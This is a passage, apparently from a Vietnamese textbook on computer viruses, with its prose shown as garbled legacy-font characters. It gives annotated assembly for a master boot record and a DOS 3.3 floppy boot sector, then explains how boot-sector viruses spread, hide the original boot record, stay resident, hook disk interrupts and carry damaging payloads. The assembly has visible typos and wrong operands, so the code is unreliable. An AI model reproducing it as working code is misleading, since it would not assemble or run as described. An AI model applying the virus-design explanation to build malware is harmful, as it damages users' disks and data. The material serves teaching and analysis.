push  AX 
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pop  DS 
sti 
;ChuyÓn ch−¬ng tr×nh sang vïng 0:0600 ®Ó dµnh chç cho Boot sector cña partition ®−îc ;®äc 
vµo 
cld  
mov  DI, 0600 
mov  CX, 100h 
repne movsw 
jmp  0:061DH    ;ChuyÓn quyÒn ®iÒu khiÓn sang vïng 
mov  SI, 07BEh    ;míi, trá SI ®Õn b¶ng tham sè  
mov  BL, 4    ;KiÓm tra xem partition nµo lµ 
 check:       ;active (dùa vµo boot_flag) 
cmp  BL[SI], 80h 
je  check_partition   ;NÕu lµ active, chuyÓn sang 
cmp  byte ptr [SI], 0   ;phÇn kiÓm tra partition 
jne  invalid    ;cã hîp lÖ kh«ng 
add  SI, 100h    ;Hîp lÖ kiÓm tra tiÕp 
dec  BL     ;partition kÕ 
jne  check    ;NÕu kh«ng cã partition nµo tháa 
int  1Bh     ;chuyÓn sang FCB BASIC 
 Check_partition: 
mov  DX, word ptr[SI]   ;§−a gi¸ trÞ ®Þnh vÞ Boot sector 
mov  CX, word ptr[SI+2]  ;vµo 
mov  BP, SI 
 Next_partition: 
;§Ó ®¶m b¶o tÝnh hîp lÖ, c¸c partition cong l¹i ph¶i kh«ng ®−îc lµ active 
add  SI, 10h 
dec  BL 
je  load_system    ;Hîp lÖ sÏ t¶i hÖ thèng vµo 
cmp  byte ptr[SI]    ;? No active 
je  Next_partition    ;KiÓm tra tiÕp 
 invalid: 
  mov  SI, offset error1_mess   ;NÕu kh«ng hîp lÖ:  sai 
 next_char: 
lodsb 
cmp  AL, 0 
je  loop 
push  SI 
mov  BX, 7 
mov  AH, Eh 
int  10h 
pop  SI 
jmp  Next_char 
 loop: 
jmp  loop 
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 load_system: 
mov  DI, 5      ;SÏ ®äc l¹i 5 lÇn nÕu lçi 
 Try: 
mov  BX, 07C00h 
mov  AX, 0201h 
push  DI 
int  13h 
pop  DI 
jne  load_ok 
xor  AX, AX 
int  13h 
dec  DI 
jne  Try 
mov  SI, offset error2_mess 
jmp  next_char 
 Load_ok: 
mov  SI, offset error3_mess 
mov  DI, 07DFEh 
cmp  word ptr [DI], 0AA55h  ;KiÓm tra tÝnh hîp lÖ 
jne  next_char     ;cña boot sector 
mov  SI, BP 
jmp  0:07C00h 
error1_mess db ‘Invalid partition table’, 0 
error2_mess db ‘Error loading operating system’, 0 
error3_mess db ‘Missing operating system’, 0 
reserved  db offset reserved - offset begin dup (0) 
Partition1: 
bootflag1  db 80h     ;Active 
headNo1  db 1 
secCylBegin1 dw 1 
System_ID1 db 4     ;DOS FAT 16 bit 
HeadEnd1 db 0 
secCylEnd1 dw 6B91h 
RelSecs1  dd 11h 
TotalSec1  dd 0CD76h 
 
Partition2:  
bootflag2  db 0     ;No Active 
headNo2  db 0 
secCylBegin2 dw 6C81h 
System_ID2 db 5     ;DOS FAT 16 bit 
HeadEnd2 db 4 
secCylEnd2 dw 0C5D1h 
RelSecs2  dd 0CDEDh 
TotalSec2  dd 0727Ch 
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Partition3: 
bootflag3  db 0      
headNo3  db 0 
secCylBegin3 dw 0 
System_ID3 db 0      
HeadEnd3 db 0 
secCylEnd3 dw 0 
RelSecs3  dd 0 
TotalSec3  dd 0 
 
Partition4: 
bootflag4  db 0      
headNo4  db 0 
secCylBegin4 dw 0 
System_ID4 db 0      
HeadEnd4 db 0 
secCylEnd4 dw 0 
RelSecs4  dd 0 
TotalSec4  dd 0 
ID_disk  dw 0AA55h 
 
b. Boot sector: c«ng viÖc chÝnh cña Boot sector gåm: 

 + Khëi t¹o ng¾t 1Eh (b¶ng tham sè ®Üa mÒm) b»ng b¶ng tham sè trong Boot sector (nÕu 
cã ®iÒu kiÖn, c¸c b¹n cã thÓ nªn quan t©m ®Õn sù thay ®æi c¸c tham sè ®Üa mÒm qua version 
kh¸c nhau cña DOS). 
 + §Þnh vÞ c¸c phÇn trªn ®Üa b»ng b¶ng tham sè BPB (nh− chóng ta ®� kh¶o s¸t). 
 + §äc Root vµo vµ kiÓm tra sù tån t¹i cña hai file hÖ thèng. 
 + NÕu cã, t¶i hai file nµy vµo vµ trao quyÒn ®iÒu khiÓn. 
Boot sector mµ chóng ta sÏ ph©n tÝch lµ Boot sector trªn ®Üa mÒm 360Kb ®−îc format d−íi 
DOS 3.3 
;Chøc n¨ng: kiÓm tra vµ n¹p hÖ ®iÒu hµnh nÕu cã 
;Vµo   :   kh«ng 
;Ra   :    CH= media ®Üa 
   DL= sè hiÖu vËt lÝ ®Üa (0=®Üa A, 80h=®Üa cøng) 
   BX= sector ®Çu vïng d÷ liÖu 
 org  7C00h 
  jmp  sort begin 
;B¶ng tham sè ®Üa 
  nop 
 OEM  db ‘MSDOS 3.3’ 
 SectorSize dw 200h 
 ClusterSize dw 2 
 ReservedSector dw 1 
 FatCnt  db 2 
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 RootSize dw 70h 
 TotalSector dw 2D0h 
 Media  db 0FDh 
 FatSize  dw 2 
 TrackSect dw 9 
 HeadCnt  dw 2 
 HiddenSector dw 0 
 Reserved db 0Dh dup (0) 
;B¶ng tham sè ®Üa mÒm cho ng¾t 1Eh 
Parameter: 
 No_use  db 4 dup (0) 
 EOT   db 12h 
 No_use  db 4 dup (0) 
 HeadSettleTime db 1 
 MotorStartup db 0 
Begin: 
;Khëi t¹o c¸c thanh ghi ph©n ®o¹n vµ Stack 
  cli 
xor  AX, AX 
mov  SS, AX 
mov  SP, 7C00h 
push  SS 
pop  ES 
;Khëi t¹o b¶ng tham sè ®Üa 
mov  DX, 78h 
lds  SI, SS:[BX]    ;DS:SI trá ®Õn b¶ng tham sè 
push  DS      ;chuÈn cña ROM BIOS 
push  SI      ;Gi¸ trÞ cò  cña tham sè sÏ 
push  SS      ;®−îc tr¶ l¹i nÕu kh«ng t×m  
push  BX      ;®−îc hai file hÖ thèng 
mov  DI, offset parameter 
mov  CX, 0Bh 
cld 
Cont1: 
lodsb       ;Nh÷ng tham sè nµo cña ROM cã 
cmp  ES:byte ptr[DI], 0   ;phÇn tö t−¬ng øng trong boot 
je  cont0     ;b»ng 0 sÏ ®−îc copy l¹i 
mov  AL, byte ptr[DI] 
Cont0: 
stosb 
mov  AL, AH 
loop  cont1 
push  ES 
pop  DS      ;§Æt l¹i ng¾t 1Eh 
mov  word ptr [BX+2] 
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mov  word ptr [BX], offset parameter 
sti 
int  13h      ;Reset l¹i ®Üa 
;PhÇn ®Þnh vÞ c¸c thµnh phÇn trong vïng hÖ thèng 
jb  error1     ;NÕu gÆp lçi 
mov  AL, FatCnt    ;FatCnt*FatSize 
mul  word ptr FatSize    ;= sè sector cho FAT 
add  AX, HiddenSector   ;+sè sector dÊu mÆt 
add  AX, ReservedSector   ;+sè sector dµnh riªng 
mov  word ptr [07C3Fh], AX  ;=sector ®Çu Root 
mov  word ptr [07C37h], AX  ;L−u vµo sector ®Çu data 
mov  AX, 20h     ;KÝch th−íc 1 entry 
mul  RootSize     ;Sè MaxEntry 
mov  BX, SectorSize    ;=sè byte cho Root 
add  AX, BX     ;chia sè byte 1 sector 
dec  AX      ;=sè sector ®Çu data 
div  BX 
add word ptr [07C37h], AX 
;PhÇn kiÓm tra 2 file hÖ thèng b»ng c¸ch ®äc sector ®Çu Root vµo ®Þa chØ 0:0500 råi 
;so s¸nh lÇn l−ît 2 entry ®Çu tiªn víi hai tªn file hÖ thèng trong Boot sector. 
mov  BX, 0500h    ;Buffer 0:0500h 
mov  AX, word [7C3Fh]   ;AX=sector ®Çu data 
call  ChangeSectorToPhysic  ;ChuÈn bÞ gi¸ trÞ 
mov  AX, 201h     ;Chøc n¨ng ®äc 
call  ReadSetor     ;§äc mét sector  
jb  error2     ;Lçi ? 
;PhÇn kiÓm tra 2 file hÖ thèng 
mov  DI, BX     ;ES:DI trá ®Õn tªn file 
mov  CX, 0Bh     ;hÖ thèng 1 
mov  SI, offset SysFile1   ;So s¸nh ? 
repe  cmpsb 
jne  error3 
lea  DI, [BX+20h]    ;ES:DI trá ®Õn tªn file hÖ 
mov  SI, offset SysFile2   ;thèng 2 
mov  CX, 0Bh     ;So s¸nh ? 
repe  cmpsb 
je  cont2 
Error3: 
mov  SI, offset error3_mess   ;Th«ng b¸o nÕu kh«ng cã 
Print: 
call  Print_mess 
xor  AH, AH     ;Kh«i phôc l¹i c¸c tham sè 
int  16h      ;cña b¶ng tham sè ®Üa mÒm 
pop  SI 
pop  DS 
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pop  word ptr [SI] 
pop  word ptr [SI+2] 
int  19h      ;Reboot 
Error1: 
mov  SI, offset error1_mess 
jmp  shor print 
Cont2: 
;LÊy kÝch th−íc cña file hÖ thèng trong Root võa ®äc ®Ó tÝnh ra sè sector  
;cÇn ®äc vµo. 
mov  AX, word ptr [51Ch] 
xor  DX, DX 
div  SectorSize 
inc  AL      ;TÝnh sè sector 
mov  byte ptr [7C3Ch], AL   ;øng víi kÝch th−íc file 
mov  AX, word ptr [7C37h]   ;t×m ®−îc 
mov  BX, 700h     ;§äc vµo buffer b¾t 0:700h 
Cont4: 
mov  AX, word ptr [7C37h] 
call  ChangeSectorToPhysic 
mov  AX, TrackSect 
sub  AL, byte ptr [7C3Bh] 
inc  AX 
cmp  byte ptr [7C37h], AL 
ja  cont3 
mov  AL, byte ptr [7C3Ch] 
Cont3: 
push  AX 
call  ReadSecto 
pop  AX 
je  error1 
sub  byte ptr [7C3Ch], AL 
je  cont5 
add  word ptr [7C37h], AX 
add  BX, AX 
jmp  short cont4 
Cont5: 
;ChuyÓn tham sè cho file hÖ thèng 
mov  CH, Media 
mov  DL, Disk 
mov  BX, word ptr [7C3Dh] 
jmp  70:0 
Print_mess proc near     ;In mét chuçi ASCIIZ trong DS:SI 
lod  sb 
or  AL, AL     ;? cuèi chuçi ASCIIZ 
je  exit 
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mov  AH, 0Eh 
mov  BX, 7 
int  10h      ;In ra mµn h×nh 
jmp  short Print_loop 
 Print_mess endp 
 ChangeSectorToPhysic proc near 
;Vµo: AX= sector logic cÇn ®æi 
;Ra:   C¸c gi¸ trÞ t−¬ng øng Track, Head vµ sector ®−îc tÝnh vµ g¸n cho c¸c biÕn 
;word[7C39h], byte[7C2Ah], byte[7C3Bh] 
xor  DX, DX 
div  TrackSect 
inc  DL 
mov  byte ptr [7C3Bh], DL 
xor  DX, DX 
div  HeadCnt 
mov  byte ptr [7C2A], DL 
mov  word ptr [7C39], AX 
Exit: 
ret 
 ChangeSectorToPhysic endp 
 ReadSector proc near 
;Chøc n¨ng: ®äc sector cã gi¸ trÞ Track, head sector ®� ®−îc tÝnh tr−íc ®ã qua 
;thñ tôc ChangeSectorToPhysic 
;Vµo:  AL = sè sector ; ES:BX træ ®Õn buffer chøa d÷ liÖu 
;Ra :   STC nÕu gÆp lçi 
mov  AH, 2 
mov  DX, word ptr [7C39] 
mov  CL, 5 
shl  DH, CL 
or  DH, byte ptr [7C3Bh] 
xchg  CL, CH 
mov  DL, Disk 
mov  DH, byte ptr [7C2A] 
int  13h 
ret 
 ReadSector endp 
 Error1_mess db 0Dh, 0Ah, ’Non-system disk or disk error’, 0 
 Error2_mess db 0Dh, 0Ah, ’Disk boot failure’, 0 
 File_sys1  db ‘IO.SYS’ 
File_sys2  db ‘MSDOS.SYS’ 
 Reserved  db 17 dup (0) 
 Disk   db 0 
 ID-Disk  dw 0AA55h 
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§©y chØ lµ b−íc ph©n tÝch mét Boot sector ®¬n gi¶n, ®èi víi DOS 4.xx, kh¶ n¨ng qu¶n lÝ ®Üa 
®−îc më réng thªm (trªn 32Mb), do ®ã, còng t¹o nªn ®«i phÇn phøc t¹p cho ®o¹n m� ®Þnh vÞ 
c¸c vïng hÖ thèng trªn ®Üa. Dï sao, ®©y còng lµ mét ®Ò tµi thó vÞ mµ c¸c b¹n cã thÓ tù m×nh 
ph©n tÝch lÊy. Mét gîi ý nho nhá kh¸c lµ theo dâi sù biÕn ®æi c¸c tham sè ®Üa mÒm qua c¸c thÕ 
hÖ m¸y, qua c¸c version cña DOS vµ qua c¸c phÇn mÒm cho phÐp format ®Üa. 
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b - virus  
 
 
 
 
Qua ch−¬ng 1, c¸c b¹n ®� ®−îc cung cÊp nhiÒu th«ng tin lÝ thó vÒ ®Üa vµ còng ®� ph©n tÝch 
xong c¸c ®o¹n m� trong Partition table còng nh− Boot sector. T¸t c¶ nh÷ng ®iÒu ®ã còng chØ 
nh»m mét môc ®Ých duy nhÊt: gióp chóng ta n¾m v÷ng vµ ph©n tÝch tèt mét B - virus. §Ó b¾t 
®Çu, chóng ta ph¶i tr¶ lêi c©u hái: Virus nµy tõ ®©u ra? 
 

 

I - Ph−¬ng Ph¸p L©y Lan 

Nh− ta ®� biÕt, sau qu¸ tr×nh POST, sector ®Çu tiªn trªn ®Üa A (nÕu kh«ng sÏ lµ C) ®−îc ®äc 
vµo, mét t¸c vô kiÓm tra nho nhá ®Ó tr¸nh mét lçi: sector ®ã cã thÓ kh«ng ph¶i lµ mét Boot 
sector hîp lÖ, b»ng c¸ch kiÓm tra gi¸ trÞ nhËn diÖn 0AA55  t¹i cuèi sector. Nh−ng viÖc kiÓm 
tra nµy còng kh«ng tr¸nh khái s¬ hë nÕu ai ®ã thay ®o¹n m� trong Boot sector b»ng mét 
ch−¬ng tr×nh kh¸c víi ý ®å xÊu vµ ®ã còng chÝnh lµ c¸ch l©y lan cña mét virus lo¹i B. 
§èi víi ®Üa mÒm, sector 0 lu«n lµ Boot record, do ®ã, viÖc l©y chØ tiÕn hµnh ®¬n gi¶n b»ng 
c¸ch thay Boot record trªn track 0, Side 0, sector 1. 
Song trªn ®Üa cøng cã chia c¸c partition, mäi chuyÖn l¹i phøc t¹p h¬n v× ®Çu tiªn Master boot 
®−îc ®äc vµo, sau qu¸ tr×nh kiÓm tra partition active, Boot sector t−¬ng øng míi ®−îc ®äc vµo. 
ChÝnh v× thÕ, c¸c Hacker cã quyÒn chän mét trong hai n¬i. Nh−ng c¶ hai ®Òu cã nh−îc ®iÓm 
cña m×nh. 
§èi víi Partition table, −u ®iÓm cã vÎ râ rµng: nã lu«n lu«n ®−îc n¹p vµo vïng nhí ®Çu tiªn, 
cho dï sau ®ã hÖ ®iÒu hµnh nµo ®−îc kÝch ho¹t vµ v× B - virus ho¹t ®éng kh«ng t−¬ng thÝch víi 
mét hÖ ®iÒu hµnh nµo mµ chØ thùc hiÖn ®èi víi ®Üa. MÆt kh¸c, nÕu bÊt k× mét phÇn mÒm nµo 
d−íi DOS dïng c¸c ng¾t 25h vµ 26h còng kh«ng thÓ truy nhËp ®Õn Partition table, do ®ã nã 
tr¸nh khái cÆp m¾t tß mß cña nhiÒu ng−êi. Dï vËy, nã vÉn cã khuyÕt ®iÓm: ph¶i chó ý ®Õn 
Partition table, nghÜa lµ ®o¹n m� ®−îc thay thÕ kh«ng ®−îc ghi ®Ì vµo b¶ng tham sè nµy. Mét 
x©m ph¹m dï nhá còng sÏ ¶nh h−ëng ®Õn viÖc qu¶n lÝ ®Üa cøng nÕu ng−êi sö dông Boot m¸y 
tõ ®Üa mÒm. §iÒu nµy còng lÝ gi¶i t¹i sao mét sè virus trong n−íc kh«ng chó ý tíi ®iÒu nµy vµ 
v× thÕ ®� t¹o ra lçi: kh«ng kiÓm so¸t ®−îc ®Üa C khi m¸y ®−îc Boot tõ A (NOPS virus). 
§èi víi Boot sector l¹i kh¸c, mét virus chän gi¶i ph¸p Boot record thay cho Partition table cã 
thÓ gÆp thuËn lîi trong viÖc sö dông b¶ng tham sè ®Üa BPB, ®o¹n m� l©y cho ®Üa mÒm còng sÏ 
®−îc dïng t−¬ng tù cho ®Üa cøng. Tuy nhiªn l¹i ph¶i tèn kÐm cho gi¶i thuËt ®Þnh vÞ mét 
partition boot ®−îc, chÝnh ®iÒu nµy l¹i g©y cho nã mét thÊt lîi: kh«ng l©y ®−îc trªn ®Üa cøng 
kh«ng cã Active partition. 
ViÖc lùa chän Partition table hay Boot sector vÉn lµ mét vÊn ®Ò ®ang bµn c�i cña c¸c virus 
(hay ®óng h¬n lµ gi÷a nh÷ng nhµ thiÕt kÕ virus), tuy nhiªn hÇu hÕt c¸c virus sau nµy ®Òu dïng 
Master boot h¬n lµ Boot sector. 
VÊn ®Ò then chèt mµ virus cÇn ph¶i gi¶i quyÕt lµ Boot sector nguyªn thñy cña ®Üa. Râ rµng 
Boot nµy ph¶i ®−îc thay, nh−ng virus kh«ng thÓ lµm thay mäi chuyÖn cho mét Boot record v× 
thùc sù nã ®©u cã biÕt Boot record nguyªn thñy ph¶i lµm g×, biÕt ®©u ®ã lµ mét ®o¹n m� kh¸c 
nh»m mét môc ®Ých kh¸c? ChÝnh v× vËy, virus còng kh«ng thÓ bá ®−îc Boot sector. Thay vµo 
®ã, nã sÏ cÊt Boot nµy vµo mét chç nhÊt ®Þnh nµo ®ã trªn ®Üa vµ sau khi thi hµnh xong t¸c vô 
cµi ®Æt cña m×nh, virus sÏ ®äc vµ trao quyÒn cho Boot cò. Mäi viÖc ®−îc Boot cò tiÕp tôc lµm 
tr«ng rÊt ‘b×nh th−êng’. Nh−ng khã kh¨n l¹i xuÊt hiÖn: cÊt Boot record cò ë ®©u khi mµ mäi 
chç trªn ®Üa ®Òu cã thÓ bÞ söa ®æi:  FAT, ROOT vµ nhÊt lµ Data area. C¸ch gi¶i quyÕt c©u hái 
nµy còng gióp chóng ta ph©n lo¹i chi tiÕt h¬n vÒ B - virus. 



 32 

 
 
II - Ph©n Lo¹i. 

Khã kh¨n trªn ®−îc B - virus gi¶i quyÕt æn tháa theo hai h−íng: cÊt Boot record lªn mét vÞ trÝ 
x¸c ®Þnh trªn mäi ®Üa vµ chÊp nhËn mäi rñi ro mÊt m¸t Boot sector (do bÞ ghi ®Ì) dï tÊt nhiªn 
chç cÊt dÊu nµy cã kh¶ n¨ng bÞ ghi ®Ì thÊp nhÊt. H−íng nµy ®¬n gi¶n vµ do ®ã ch−¬ng tr×nh 
th−êng kh«ng lín. ChØ dïng mét sector thay chç Boot record vµ do ®ã ®−îc gäi lµ SB - virus 
(Single B - virus). MÆt kh¸c, cã thÓ cÊt Boot sector nµy vµo mét n¬i an toµn trªn ®Üa, tr¸nh khái 
mäi sai lÇm, mÊt m¸t cã thÓ x¶y ra. V× kÝch th−íc vïng an toµn cã thÓ ®Þnh vÞ bÊt k× nªn 
ch−¬ng tr×nh virus th−êng chiÕm trªn nhiÒu sector vµ ®−îc chia thµnh hai phÇn: mét phÇn trªn 
Boot record, mét  trªn ®Üa (trªn vïng an toµn). V× ®Æc ®iÓm nµy, nhãm nµy ®−îc gäi lµ DB - 
virus (Double B - virus). 

1/ SB - virus: Do tÝnh dÔ d�i chÊp nhËn mäi mÊt m¸t nªn ch−¬ng tr×nh ng¾n gän chØ chiÕm 
®óng mét sector. Th«ng th−êng, SB - virus chän n¬i cÊt ®Êu Boot lµ nh÷ng n¬i mµ kh¶ n¨ng bÞ 
ghi lªn lµ Ýt nhÊt. 
§èi víi ®Üa mÒm, c¸c n¬i th−êng ®−îc chän lµ: 
 + Nh− ®éc gi¶ còng biÕt, Ýt khi nµo ta khai th¸c hÕt sè entry trªn th− môc gèc, trong khi 
®ã DOS cßn khuyÕn khÝch chóng ta dïng cÊu tróc th− môc con ®Ó t¹o cÊu tróc c©y cho dÔ 
qu¶n lÝ. ChÝnh v× lÝ do nµy, sè entry ë nh÷ng sector cuèi Root Dir th−êng kh«ng ®−îc dïng 
®Õn vµ nh÷ng sector nµy lµ n¬i lÝ t−ëng ®Ó cÊt giÊu Boot record. 
 + Khi ph©n phèi cluster cho mét file nµo, DOS còng b¾t ®Çu t×m cluster trèng tõ ®Çu vïng 
data c¨n cø vµo entry cña nã trªn FAT, do ®ã, nh÷ng sector cuèi cïng trªn ®Üa còng khã mµ bÞ 
ghi ®Ì lªn. §©y còng lµ n¬i lÝ t−ëng ®Ó cÊt giÊu Boot record. 
§èi víi ®Üa cøng, mäi chuyÖn xem ra l¹i ®¬n gi¶n. Trªn hÇu hÕt c¸c ®Üa cøng, track 0 chØ chøa 
Partition table (cho dï ®Üa chØ cã 1 partition) trªn sector 1, cßn nh÷ng sector cßn l¹i trªn track 
nµy ®Òu kh«ng ®−îc dïng ®Õn. Do ®ã, c¸c SB - virus vµ hÇu hÕt DB - virus ®Òu chän n¬i nµy 
lµm chèn ‘n−¬ng th©n’. 

2/ DB -virus: Mét sector víi kÝch th−íc 512 byte (do DOS quy ®Þnh) kh«ng ph¶i lµ qu¸ réng 
r�i cho nh÷ng tay hacker nhiÒu tham väng. Nh−ng viÖc më réng kÝch th−íc kh«ng ph¶i lµ dÔ 
dµng, hä còng ®� gi¶i quyÕt b»ng c¸ch ®Æt tiÕp mét Boot record ‘gi¶’ lªn sector 1, track 0, Side 
0. Boot record nµy cã nhiÖm vô t¶i ‘hÖ ®iÒu hµnh’ virus vµo bªn trong vïng nhí råi trao quyÒn. 
Sau khi cµi ®Æt xong, ‘hÖ ®iÒu hµnh’ míi t¶i Boot record thËt vµo. ‘HÖ ®iÒu hµnh‘ nµy ph¶i n»m 
ë mét ‘partition’nµo ®ã ngay trong lßng DOS hay tõ mét phÇn kh¸c trªn ®Üa cøng. C¸ch gi¶i 
quyÕt nµy cã thÓ lµ: 
§èi víi ®Üa cøng: nh÷ng sector sau Partition table sÏ lµ chèn n−¬ng th©n an toµn hoÆc gi¶i 
quyÕt t−¬ng tù nh− víi ®Üa mÒm. 
§èi víi ®Üa mÒm: qua mÆt DOS b»ng c¸ch dïng nh÷ng cluster cßn trèng ®Ó chøa ch−¬ng tr×nh 
virus. nh÷ng entry t−¬ng øng víi c¸c cluster nµy trªn FAT ngay sau ®ã sÏ bÞ ®¸nh dÊu ‘Bad 
cluster’ ®Ó DOS kh«ng cßn ngã ngµng ®Õn n÷a. Ph−¬ng ph¸p nµy tá ra h÷u hiÖu v× sè l−îng 
cluster ®−îc dïng chØ bÞ h¹n chÕ bëi sè l−îng cluster tèi ®a cña ®Üa cøng cßn dïng ®−îc. Tuy 
nhiªn, chÝnh mÆt m¹nh nµy còng lµ mËt yÕu cña nã: dÔ bÞ ph¸t hiÖn bëi bÊt k× mét phÇn mÒm 
DiskMap (PCTOOLS, NDD ....). Cho dï thÕ nµo ®i n÷a ph−¬ng ph¸p nµy vÉn ®−îc −a chuéng 
cho c¸c lo¹i DB - virus v× tÝnh t−¬ng thÝch víi mäi lo¹i æ ®Üa. 
Ph−¬ng ph¸p thø hai cã nhiÒu tham väng h¬n: v−ît ra khái tÇm kiÓm so¸t cña DOS b»ng c¸ch 
t¹o thªm mét track míi tiÕp theo track cuèi mµ DOS ®ang qu¶n lÝ (chØ ¸p dông ®èi víi ®Üa 
mÒm). Mét ®Üa 360Kb cã 40 track ®−îc ®¸nh sè tõ 0 ®Õn 39 sÏ ®−îc t¹o thªm mét track sè 40 
ch¼ng h¹n. §iÒu nµy còng t¹o cho virus mét kho¶ng trèng rÊt lín trªn ®Üa (9sector*1/2Kb = 4, 
5Kb). Tuy thÕ, ph−¬ng ph¸p nµy ®� tá râ nh−îc ®iÓm cña nã trªn c¸c lo¹i æ ®Üa mÒm kh¸c 
nhau. C¸c bé ®iÒu khiÓn ®Üa mÒm kh¸c nhau cã thÓ cã hoÆc kh«ng cã kh¶ n¨ng qu¶n lÝ thªm 
track. Do ®ã, ®� t¹o ra lçi ®äc ®Üa khi virus tiÕn hµnh l©y lan (®Üa kªu cãt kÐt). 
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Cho dï lµ lo¹i SB - virus hay DB - virus ®i n÷a, cÊu tróc bªn trong cña chóng vÉn nh− nhau. §Ó 
cã thÓ cã c¸i nh×n ®óng ®¾n vÒ virus, chóng ta sÏ b¾t ®Çu kh¶o s¸t B - virus b»ng c¸ch ph©n 
tÝch cÊu tróc cña nã. 
 
 

III - CÊu Tróc Ch−¬ng Tr×nh B - Virus. 

Do ®Æc ®iÓm chØ ®−îc trao quyÒn ®iÒu khiÓn mét lÇn khi Boot m¸y, virus ph¶i t×m mäi biÖn 
ph¸p tån t¹i vµ ®−îc kÝch ho¹t l¹i khi cÇn thiÕt - nghÜa lµ xÐt vÒ mÆt nµo ®ã - nã còng gièng 
nh− mét ch−¬ng tr×nh ‘Pop up’ TSR (Terminate and Stay Resident). Do vËy, phÇn ch−¬ng tr×nh 
virus ®−îc chia lµm hai phÇn: phÇn khëi t¹o (install) vµ phÇn th©n. Chi tiÕt tõng phÇn ®−îc 
kh¶o s¸t t−êng tËn sau ®©y: 
1/ PhÇn install: ViÖc −u tiªn hµng ®Çu lµ vÊn ®Ò l−u tró (Resident), kh«ng thÓ dïng ®−îc c¸c 
chøc n¨ng cña DOS ®Ó xin cÊp ph¸t vïng nhí (v× DOS còng ch−a ®−îc t¶i vµo), virus ®µnh 
ph¶i tù m×nh lµm lÊy vµ trong thùc tÕ viÖc nµy rÊt ®¬n gi¶n. Theo sau vÉn ®Ò l−u tró lu«n lu«n 
lµ viÖc chuyÓn toµn bé ch−¬ng tr×nh virus (mµ ta gäi lµ Progvi) sang vïng nµy tiÕn hµnh thay 
thÕ mét lo¹t c¸c ng¾t cøng. §Ó b¶o ®¶m tÝnh ‘Pop up’ cña m×nh mét khi ®Üa ®−îc truy xuÊt, 
Progvi lu«n chiÕm ng¾t 13h. Ngoµi ra, ®Ó phôc vô cho c«ng t¸c ph¸ ho¹i, g©y nhiÔu, ...., Progvi 
cßn chiÕm c¶ ng¾t 21h cña DOS n÷a. Sau khi ®� install xong, Boot record cò sÏ ®−îc tr¶ l¹i 
®óng ®Þa chØ vµ trao quyÒn. 
§èi víi lo¹i DB - virus, phÇn install sÏ tiÕn hµnh t¶i toµn bé phÇn th©n vµo, ngay sau khi ®−îc 
n¹p, tr−íc khi thi hµnh c¸c b−íc trªn. Sù kh¸c nhau nµy chØ ®¬n gi¶n lµ do kÝch th−íc cña nã 
qu¸ lín mµ th«i. S¬ ®å cña phÇn install cã thÓ tãm t¾t b»ng s¬ ®å khèi sau: 
          
§� tån t¹i trong bé nhí ch−a?   Yes 
        
             No  
§äc phÇn th©n (nÕu lµ Db - virus) 
 
   ChuyÓn ch−¬ng tr×nh vµ l−u tró 
 
    
 ChiÕm c¸c ng¾t cøng (13h, 8, 9) 
 
          Tr¶ l¹i Boot record cò 
 
    
  JMP FAR 0:07C00h 
 

2/ PhÇn th©n: Lµ phÇn quan träng cña mét virus, chøa c¸c ®o¹n m� mµ phÇn lín sÏ thay thÕ 
cho c¸c ng¾t. Cã thÓ  chia phÇn nµy lµm 4 phÇn nhá øng víi 4 chøc n¨ng râ rÖt. 
+ L©y lan: lµ phÇn chÝnh cña phÇn th©n, thay thÕ cho ng¾t 13h, cã t¸c dông l©y lan b»ng c¸ch 
copy chÝnh ch−¬ng tr×nh nµy vµo bÊt k× mét ®Üa nµo ch−a nhiÔm. 
+ Ph¸ ho¹i: bÊt k× mét virus nµo còng cã ®o¹n m� nµy v× mét lÝ do ®¬n gi¶n: kh«ng ai bá c«ng 
søc ®Ó t¹o ra mét virus kh«ng lµm g× c¶, mµ ng−êi t¹o ra ph¶i g¸nh lÊy mét phÇn tr¸ch nhiÖm 
nÕu bÞ ph¸t hiÖn lµ t¸c gi¶. PhÇn ph¸ ho¹i cã thÓ chØ mang tÝnh hµi h−íc trªu träc ng−êi sö 
dông, th¸ch ®è vÒ gi¶i thuËt ng¾n gän ... cho ®Õn nh÷ng ý ®å xÊu xa nh»m hñy diÖt d÷ liÖu 
trªn ®Üa. 
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+ D÷ liÖu: ®Ó l−u chøa nh÷ng th«ng tin trung gian, nh÷ng biÕn néi t¹i, dïng riªng cho ch−¬ng 
tr×nh virus, cho ®Õn nh÷ng bé ®Õm giê, ®Õm sè lÇn l©y phôc vô cho c«ng t¸c ph¸ ho¹i. 
+ Boot record: thùc ra phÇn nµy cã thÓ kh«ng nªn kÓ vµo ch−¬ng tr×nh virus v× nã thay ®æi tïy 
theo ®Üa mµ kh«ng dÝnh d¸ng, kh«ng ¶nh h−ëng g× ®Õn ch−¬ng tr×nh virus. Tuy nhiªn, víi mét 
quan ®iÓm kh¸c, Progvi lu«n ph¶i ®¶m b¶o ®Õn sù an toµn cña Boot sector, sù b¶o ®¶m nµy 
chÆt chÏ ®Õn nçi hÇu nh− Boot sector lu«n ‘cÆp kÌ’ bªn c¹nh ch−¬ng tr×nh virus, trong bé nhí 
còng nh− trªn ®Üa. MÆt kh¸c, nÕu kÕt luËn Progvi kh«ng sö dông ®Õn Boot record lµ kh«ng 
®óng v× mäi viÖc ®Þnh vÞ c¸c phÇn trªn ®Üa, virus ®Òu ph¶i lÊy th«ng tin trong BPB trªn ®Üa ®èi 
t−îng. V× vËy, Boot sector còng ®−îc xem nh− mét phÇn kh«ng thÓ thiÕu cña ch−¬ng tr×nh 
virus. Khi mäi viÖc install ®� ®−îc lµm xong, Boot record nµy ®−îc chuyÓn ®Õn 0:7C00h vµ 
trao quyÒn ®iÒu khiÓn. 
§Ó virus cã thÓ tån t¹i vµ ph¸t triÓn, vÉn ph¶i cã mét sè yªu cÇu vÒ m«i tr−êng còng nh− chÝnh 
virus. D−íi ®©y, chóng ta sÏ ph©n tÝch c¸c yªu cÇu cÇn cã ë mét B - virus. 
 
 

IV - C¸c Yªu CÇu cña B - Virus. 

1/ TÝnh tån t¹i duy nhÊt: Virus ph¶i tån t¹i trªn ®Üa cøng còng nh− trong bé nhí, ®ã lµ ®iÒu 
kh«ng thÓ chèi c�i ®−îc. Tuy nhiªn, viÖc tån t¹i qu¸ nhiÒu b¶n sao cña chÝnh nã trªn ®Üa chØ 
lµm chËm qua tr×nh Boot, mÆt kh¸c, nã còng chiÕm qu¸ nhiÒu vïng nhí, ¶nh h−ëng ®Õn viÖc 
t¶i vµ thi hµnh c¸c ch−¬ng tr×nh kh¸c. §ã lµ ch−a kÓ tèc ®é truy xuÊt ®Üa sÏ chËm ®i ®¸ng kÓ 
